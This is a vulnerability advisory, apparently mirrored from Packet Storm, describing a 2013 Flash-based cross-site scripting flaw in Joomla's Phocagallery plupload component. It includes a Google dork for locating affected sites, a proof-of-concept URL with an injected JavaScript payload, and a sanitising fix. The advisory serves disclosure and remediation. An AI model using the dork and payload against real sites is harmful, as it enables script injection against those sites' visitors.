Lucene search
+L

Joomla Phocagallery 3.0.0 / 4.0.0 Cross Site Scripting

🗓️ 13 May 2013 00:00:00Reported by Rafay BalochType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 21 Views

Joomla Phocagallery 3.0.0 / 4.0.0 Cross Site Scripting vulnerability in com_phocagaller

Code
`# Exploit Title: Joomla com_phocagallery Plupload Flash XSS  
# Release Date: 13/05/2013  
# Author: Rafay Baloch And Deepankar Arora  
# Contact: http://rafayhackingarticles.net  
# Vendor: phoca.cz  
# Versions Affected: 3.0.0 - 4.0.0  
# Google Dork: inurl:com_phocagallery  
  
Description:  
  
The vulnerability with plupload with a known vulnerability, however  
com_phocagallery uses it, The id parameter is not sanitized. Therefore it  
results in a flash based xss.  
  
The vulnerable code is as follows:  
  
this.id = this.stage.loaderInfo.parameters["id"];  
  
As you can see that there is not type of filtering being performed at the  
id parameter.  
  
POC:  
  
http://localhost/joomla/components/com_phocagallery/assets/plupload/plupload.flash.swf?id=0\%22))}catch(e){if(!window.x){window.x=1;alert(2)}}//  
  
Fix:  
  
Sanitize the input.  
  
this.id =  
(this.stage.loaderInfo.parameters["id"]).toString().replace(/[^\w]/g, '');  
  
The above would filter out all the special characters.  
  
  
References:  
  
https://github.com/moxiecode/plupload/commit/2d746ee  
--   
Warm Regards,  
Rafay Baloch  
  
http://rafayhackingarticles.net  
http://techlotips.com  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation